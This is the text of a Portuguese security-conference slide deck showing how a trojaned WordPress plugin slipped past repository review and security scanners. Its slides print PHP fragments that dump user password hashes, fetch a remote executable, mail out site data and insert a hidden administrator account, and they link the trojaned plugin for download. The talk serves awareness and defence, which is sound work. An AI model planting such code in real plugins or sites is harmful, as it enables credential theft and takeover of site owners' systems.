Agenda

O que são CMS?

Motivação

Prova de conceito. Happy hour...

Impactos

Conclusões
O que é um CMS (Content Management System)?
São sistemas criados para gerenciar e administrar o
conteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomla
dentre outros.

Plugins
Agregam novas funcionalidades aos CMS tais como
enquetes, galerias de fotos, integração com redes sociais,
etc.

Temas
Personalizam a aparência dos sites criados através dos
CMS. Permitem algumas customizações.
Considerações




O que não esperar desta apresentação.

1 – Discussões sobre o que é exploit ou não.
Segundo o EC-Council exploit é: A defined way to breach
the security of an IT system through vulnerability.


2 – Demonstrar vulnerabilidades apenas técnicas. SI vai
muito mais além disso.

3 – Que eu seja dono da verdade
Motivação
Motivação – e o Kico???




OK mas e o Kico??
Motivação
Motivação
Prova de conceito. Security as a happy hour...




Dúvidas para a prova de conceito

1 – Os plugins e temas submetidos são realmente
analisados?


2 – Os plugins de “segurança” são eficientes?


3 – O que é possível fazer com um plugin.
Prova de conceito. Security as a happy hour...




1 – Os plugins e temas submetidos são realmente
analisados?

Criado uma versão pt-br do plug-in no-copy de autoria de
Mohanjith http://mohanjith.com/wordpress com o código
malicioso já injetado.

Submetido ao repositório do Wordpress.com juntamente
com os outros milhares de plug-ins disponíveis no site.(Em
dez/2010 – 12.533 plugins com 141.819.480 downloads.

Qual foi o resultado???
Prova de conceito. Security as a happy hour...




1 – Os plugins e temas submetidos são realmente
analisados?
Prova de conceito. Security as a happy hour...




2 – Os plugins de “segurança” são eficientes?
Alguns plugins testados:

Exploit-Scanner-1.0.5 (Identificou o encode_base64)
Wp-security-scan 3.0.6 (Nada, apenas permissões
inadequadas)
Mjp-security-plugin-1.0 (Nada, apenas
permissões inadequadas e usuários default)

Qual foi o resultado???

Nenhum detectou o código malicioso.
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.
Funções utilizadas:

Querys na base de dados.
$wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb-
>users"));

Identificar URL onde o blog foi instalado.
get_bloginfo('wpurl');

Redirecionar site para outro endereço.
wp_remote_fopen('http://www.xyz.com/index.html');
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.

Identificar o diretório de upload do blog - wp_upload_dir();
PATH blog – $upload_dir['basedir'];
URL dos uploads - $upload_dir['baseurl'];
Criar pasta - wp_mkdir_p($target);

Baixar arquivo remoto e efetuar o upload
wp_upload_bits(‘xy.exe', null, file_get_contents($name));
$upload['url'];
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.

Coletando informações da BD

$results=$wpdb->get_results("SELECT * FROM $wpdb-
>users")
      ....
 $mensagem .= "ID: ". $result->ID ."n";
 $mensagem .= "user_login: ". $result->user_login ."n";
 $mensagem .= "user_pass: ". $result->user_pass ."n";
      ....
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.

Garantindo o connection Back :D
....
$mensagem = "URL Site: ". $url ."n";
$mensagem .= "Diretório criado em: ". $target_dir."n";
$mensagem .= "Arquivo criado em: ". $target_file."n";
....
$headers .= "From: PoC <poc@localhost>n";
$headers .= "Return-Path: PoC <poc@localhost>n";
$envio = mail("poc@localhost", "PoC", $mensagem,
$headers);
....
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.

Garantindo o acesso Administrativo
$wpdb->query("
INSERT INTO $wpdb->users (`ID`, `user_login`,
`user_pass`, `user_nicename`, `user_email`,
`user_url`, `user_registered`, `user_activation_key`,
`user_status`, `display_name`) VALUES
(1999,
'poc',
'$P$B0nhkbZo/ImMpG0I17f.jyAp5S9c3V.',
'poc',
'poc@xyz.local', '', '2010-07-01 22:43:10', '', 0, 'poc')");
Prova de conceito. Security as a happy hour...




3 – O que é possível fazer com um plugin.




   Live demo – Bonus Track!!!
Prova de conceito. Security as a happy hour...




TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES
     APRESENTADOS TEM COMO OBJETIVO ALERTAR A
                                  PLATÉIA.
Prova de conceito. Security as a happy hour...




                              Entenderam.....
Prova de conceito. Security as a happy hour...




                       Seria possível pegar uma
Conclusões




A principal falha é de processo por conta do wordpress e
não nos plugins.

A função wpdb permite uma infinidade de combinações de
querys SQL como por exemplo:
      $wpdb->query("DELETE FROM $wpdb->posts WHERE
      post_id <> ‘0'");
Como não existe uma garantia da integridade dos plugins e
templates, revise os códigos antes de instalar.

Os plugins de segurança ajudam, mas não eliminam o
problema.
Conclusões




Recomendações como mudar os nomes das tabelas ou o
diretório padrão de upload não eliminam o problema.

Nas pastas de upload verifique as permissões aplicadas em
arquivos e pastas.

Manter o wordpress, plugins e temas atualizados é
indispensável.

Revise os códigos antes de instalar algo.

Teste em ambiente independente.
Próximos passos




Entender o mecanismo de criptografia que aparenta ter
falhas na função avalanche e salt.
Prova de conceito. Security as a happy hour...




         Bonus Bonus Track!!!

       Plugin disponível em:
      http://migre.me/5B4S8

  Usem por sua conta e risco.
        Sem suporte.
Dúvidas?




Thiago Bordini
thiago (at) bordini (dot) net
www.staysafepodcast.com.br

           Security as a happy hour!!!
Agradecimentos:
Crash / Gr1nch / DCLabs / Nelson Brito / Jordan Bonagura

Referência:
http://codex.wordpress.org/

Mais conteúdo relacionado

PDF
Xss injection indo alem do alert.v 0.4
PDF
Escrevendo códigos php seguros
PDF
Segurança Web com PHP5
ODP
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
PPTX
Segurança PHP - por Samyr Abdo
PDF
Django Módulo Básico Parte I - Desenvolvimento de uma aplicação Web
PPT
Segurança em Home Page
PPT
Jaas apresentado
Xss injection indo alem do alert.v 0.4
Escrevendo códigos php seguros
Segurança Web com PHP5
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
Segurança PHP - por Samyr Abdo
Django Módulo Básico Parte I - Desenvolvimento de uma aplicação Web
Segurança em Home Page
Jaas apresentado

Mais procurados (17)

PDF
A1 - Sql Injection na Prática Parte 01
PDF
Pdo do PHP Palestra
KEY
Python 06
PDF
Palestra de segurança em PHP - Hacking
PPTX
Fora Hackers! Proteção em camadas do SQL Server
PPT
Sql injection
ODP
Oficina postgresql avançado_consegi2010
KEY
Python 07
PPTX
Aula 8 - SQL Injection
PPT
Seminário PHP Injection/ SQL Injection
PDF
Palestra sql injection oficial
PDF
Autenticacao em APIs com SSL
ODP
Manipulando JWT em apis Laravel
PDF
Criando websites a jato com Django
PDF
Autenticação e Controle de Acesso
PDF
Play Framework - FLISOL
PDF
Minicurso de Segurança em Java EE 7
A1 - Sql Injection na Prática Parte 01
Pdo do PHP Palestra
Python 06
Palestra de segurança em PHP - Hacking
Fora Hackers! Proteção em camadas do SQL Server
Sql injection
Oficina postgresql avançado_consegi2010
Python 07
Aula 8 - SQL Injection
Seminário PHP Injection/ SQL Injection
Palestra sql injection oficial
Autenticacao em APIs com SSL
Manipulando JWT em apis Laravel
Criando websites a jato com Django
Autenticação e Controle de Acesso
Play Framework - FLISOL
Minicurso de Segurança em Java EE 7
Anúncio

Destaque (20)

PPTX
PDF
Atividade individual 002
DOCX
Autoevaluación Institución Educativa Buenos aires 2010
PPT
Todo sobre los automóviles’’
PDF
FujiFilm: FCR XG 5000 Radiografia Computadorizada.
PPT
J4 zdp gestão
DOC
Proyecto de democracia 2011
DOCX
CONCEPTOS IMPORTANTES
PPTX
Cinematografia Londres
PDF
Case Revista piauí - Loja Comunicação
PDF
O Bairrista - Apresentação (Midia Kit)
PPTX
Ove Indicadores Financeiros Le Lis Blanc
PPTX
Campanha adriel novakoski
PDF
FujiFilm: Sistema de Imagem Digital Pediátrico
PDF
MOPP Módulo5 Powerpoint 2010
PDF
O que todo "cucaracha" precisa saber sobre Educação Ambiental
PDF
2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOS
DOCX
20151007.Estudo PGs 24
PDF
Pdfseleccion de personal
PPT
Gestión y sistema de la calidad
Atividade individual 002
Autoevaluación Institución Educativa Buenos aires 2010
Todo sobre los automóviles’’
FujiFilm: FCR XG 5000 Radiografia Computadorizada.
J4 zdp gestão
Proyecto de democracia 2011
CONCEPTOS IMPORTANTES
Cinematografia Londres
Case Revista piauí - Loja Comunicação
O Bairrista - Apresentação (Midia Kit)
Ove Indicadores Financeiros Le Lis Blanc
Campanha adriel novakoski
FujiFilm: Sistema de Imagem Digital Pediátrico
MOPP Módulo5 Powerpoint 2010
O que todo "cucaracha" precisa saber sobre Educação Ambiental
2014_PADILHA, Y_CAPITAL SOCIAL E DESENVOLVIMENTO DE TERRITÓRIOS
20151007.Estudo PGs 24
Pdfseleccion de personal
Gestión y sistema de la calidad
Anúncio

Semelhante a Vale Security Conference - 2011 - 6 - Thiago Bordini (20)

PPTX
iMasters Intercon Dev WordPress - Segurança em WordPress
PPTX
Erick Belluci Tedeschi - Segurança em WordPress
PDF
Meetup WordPress Brasília 2014 - WordPress vs Hacker
PDF
Palestra - Meetup WordPress Brasília 2014 - WordPress vs Hacker
PDF
O WordPress é seguro. Inseguro é você.
PDF
WordCamp Porto Alegre - O WordPress é seguro. Inseguro é você.
PDF
O WordPress é seguro. Inseguro é você, por Leandro Vieira
PPT
Segurança em PHP: O que você precisa saber
PPTX
Segurança em PHP - Blinde seu código de você mesmo!
PPTX
O WordPress é seguro. Inseguro é você. Edição Vitória/ES
PDF
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
PPSX
Segurança Web: O MMA da Tecnologia
PDF
Flisol DF 2015 - WordPress vs Hacker . blindando seu WordPress
PDF
Palestra - Flisol DF 2015 - WordPress vs Hacker . Blindando seu WordPress
PDF
PHP e a (in)segurança de aplicações
PPTX
Segurança do WordPress
PDF
Segurança e Performance WordPress
PDF
Wordpress e suas funções
KEY
Segurança em PHP
PDF
Wordpress como framework de desenvolvimento
iMasters Intercon Dev WordPress - Segurança em WordPress
Erick Belluci Tedeschi - Segurança em WordPress
Meetup WordPress Brasília 2014 - WordPress vs Hacker
Palestra - Meetup WordPress Brasília 2014 - WordPress vs Hacker
O WordPress é seguro. Inseguro é você.
WordCamp Porto Alegre - O WordPress é seguro. Inseguro é você.
O WordPress é seguro. Inseguro é você, por Leandro Vieira
Segurança em PHP: O que você precisa saber
Segurança em PHP - Blinde seu código de você mesmo!
O WordPress é seguro. Inseguro é você. Edição Vitória/ES
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
Segurança Web: O MMA da Tecnologia
Flisol DF 2015 - WordPress vs Hacker . blindando seu WordPress
Palestra - Flisol DF 2015 - WordPress vs Hacker . Blindando seu WordPress
PHP e a (in)segurança de aplicações
Segurança do WordPress
Segurança e Performance WordPress
Wordpress e suas funções
Segurança em PHP
Wordpress como framework de desenvolvimento

Mais de Vale Security Conference (9)

PDF
Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)
PDF
Vale Security Conference - 2011 - 13 - Nelson Brito
PDF
Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...
PDF
Vale Security Conference - 2011 - 5 - Luiz Eduardo
PDF
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]
PDF
Vale Security Conference - 2011 - 2 - Dr. Emerson Wendt
PDF
Vale Security Conference - 2011 - 12 - Rafael Soares Ferreira
PDF
Vale Security Conference - 2011 - 15 - Anchises de Paula
PDF
Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]
Vale Security Conference - 2011 - 17 - Rodrigo Rubira Branco (BSDaemon)
Vale Security Conference - 2011 - 13 - Nelson Brito
Vale Security Conference - 2011 - 11 - Fernando Mercês [Octane Labs] [Coding ...
Vale Security Conference - 2011 - 5 - Luiz Eduardo
Vale Security Conference - 2011 - 3 - Rener Alberto (Gr1nch) [DC Labs]
Vale Security Conference - 2011 - 2 - Dr. Emerson Wendt
Vale Security Conference - 2011 - 12 - Rafael Soares Ferreira
Vale Security Conference - 2011 - 15 - Anchises de Paula
Vale Security Conference - 2011 - 14 - Alexandro Silva (Alexos) [DC Labs]

Vale Security Conference - 2011 - 6 - Thiago Bordini

  • 1. Agenda O que são CMS? Motivação Prova de conceito. Happy hour... Impactos Conclusões
  • 2. O que é um CMS (Content Management System)? São sistemas criados para gerenciar e administrar o conteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomla dentre outros. Plugins Agregam novas funcionalidades aos CMS tais como enquetes, galerias de fotos, integração com redes sociais, etc. Temas Personalizam a aparência dos sites criados através dos CMS. Permitem algumas customizações.
  • 3. Considerações O que não esperar desta apresentação. 1 – Discussões sobre o que é exploit ou não. Segundo o EC-Council exploit é: A defined way to breach the security of an IT system through vulnerability. 2 – Demonstrar vulnerabilidades apenas técnicas. SI vai muito mais além disso. 3 – Que eu seja dono da verdade
  • 5. Motivação – e o Kico??? OK mas e o Kico??
  • 8. Prova de conceito. Security as a happy hour... Dúvidas para a prova de conceito 1 – Os plugins e temas submetidos são realmente analisados? 2 – Os plugins de “segurança” são eficientes? 3 – O que é possível fazer com um plugin.
  • 9. Prova de conceito. Security as a happy hour... 1 – Os plugins e temas submetidos são realmente analisados? Criado uma versão pt-br do plug-in no-copy de autoria de Mohanjith http://mohanjith.com/wordpress com o código malicioso já injetado. Submetido ao repositório do Wordpress.com juntamente com os outros milhares de plug-ins disponíveis no site.(Em dez/2010 – 12.533 plugins com 141.819.480 downloads. Qual foi o resultado???
  • 10. Prova de conceito. Security as a happy hour... 1 – Os plugins e temas submetidos são realmente analisados?
  • 11. Prova de conceito. Security as a happy hour... 2 – Os plugins de “segurança” são eficientes? Alguns plugins testados: Exploit-Scanner-1.0.5 (Identificou o encode_base64) Wp-security-scan 3.0.6 (Nada, apenas permissões inadequadas) Mjp-security-plugin-1.0 (Nada, apenas permissões inadequadas e usuários default) Qual foi o resultado??? Nenhum detectou o código malicioso.
  • 12. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Funções utilizadas: Querys na base de dados. $wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb- >users")); Identificar URL onde o blog foi instalado. get_bloginfo('wpurl'); Redirecionar site para outro endereço. wp_remote_fopen('http://www.xyz.com/index.html');
  • 13. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Identificar o diretório de upload do blog - wp_upload_dir(); PATH blog – $upload_dir['basedir']; URL dos uploads - $upload_dir['baseurl']; Criar pasta - wp_mkdir_p($target); Baixar arquivo remoto e efetuar o upload wp_upload_bits(‘xy.exe', null, file_get_contents($name)); $upload['url'];
  • 14. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Coletando informações da BD $results=$wpdb->get_results("SELECT * FROM $wpdb- >users") .... $mensagem .= "ID: ". $result->ID ."n"; $mensagem .= "user_login: ". $result->user_login ."n"; $mensagem .= "user_pass: ". $result->user_pass ."n"; ....
  • 15. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Garantindo o connection Back :D .... $mensagem = "URL Site: ". $url ."n"; $mensagem .= "Diretório criado em: ". $target_dir."n"; $mensagem .= "Arquivo criado em: ". $target_file."n"; .... $headers .= "From: PoC <poc@localhost>n"; $headers .= "Return-Path: PoC <poc@localhost>n"; $envio = mail("poc@localhost", "PoC", $mensagem, $headers); ....
  • 16. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Garantindo o acesso Administrativo $wpdb->query(" INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (1999, 'poc', '$P$B0nhkbZo/ImMpG0I17f.jyAp5S9c3V.', 'poc', 'poc@xyz.local', '', '2010-07-01 22:43:10', '', 0, 'poc')");
  • 17. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Live demo – Bonus Track!!!
  • 18. Prova de conceito. Security as a happy hour... TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES APRESENTADOS TEM COMO OBJETIVO ALERTAR A PLATÉIA.
  • 19. Prova de conceito. Security as a happy hour... Entenderam.....
  • 20. Prova de conceito. Security as a happy hour... Seria possível pegar uma
  • 21. Conclusões A principal falha é de processo por conta do wordpress e não nos plugins. A função wpdb permite uma infinidade de combinações de querys SQL como por exemplo: $wpdb->query("DELETE FROM $wpdb->posts WHERE post_id <> ‘0'"); Como não existe uma garantia da integridade dos plugins e templates, revise os códigos antes de instalar. Os plugins de segurança ajudam, mas não eliminam o problema.
  • 22. Conclusões Recomendações como mudar os nomes das tabelas ou o diretório padrão de upload não eliminam o problema. Nas pastas de upload verifique as permissões aplicadas em arquivos e pastas. Manter o wordpress, plugins e temas atualizados é indispensável. Revise os códigos antes de instalar algo. Teste em ambiente independente.
  • 23. Próximos passos Entender o mecanismo de criptografia que aparenta ter falhas na função avalanche e salt.
  • 24. Prova de conceito. Security as a happy hour... Bonus Bonus Track!!! Plugin disponível em: http://migre.me/5B4S8 Usem por sua conta e risco. Sem suporte.
  • 25. Dúvidas? Thiago Bordini thiago (at) bordini (dot) net www.staysafepodcast.com.br Security as a happy hour!!! Agradecimentos: Crash / Gr1nch / DCLabs / Nelson Brito / Jordan Bonagura Referência: http://codex.wordpress.org/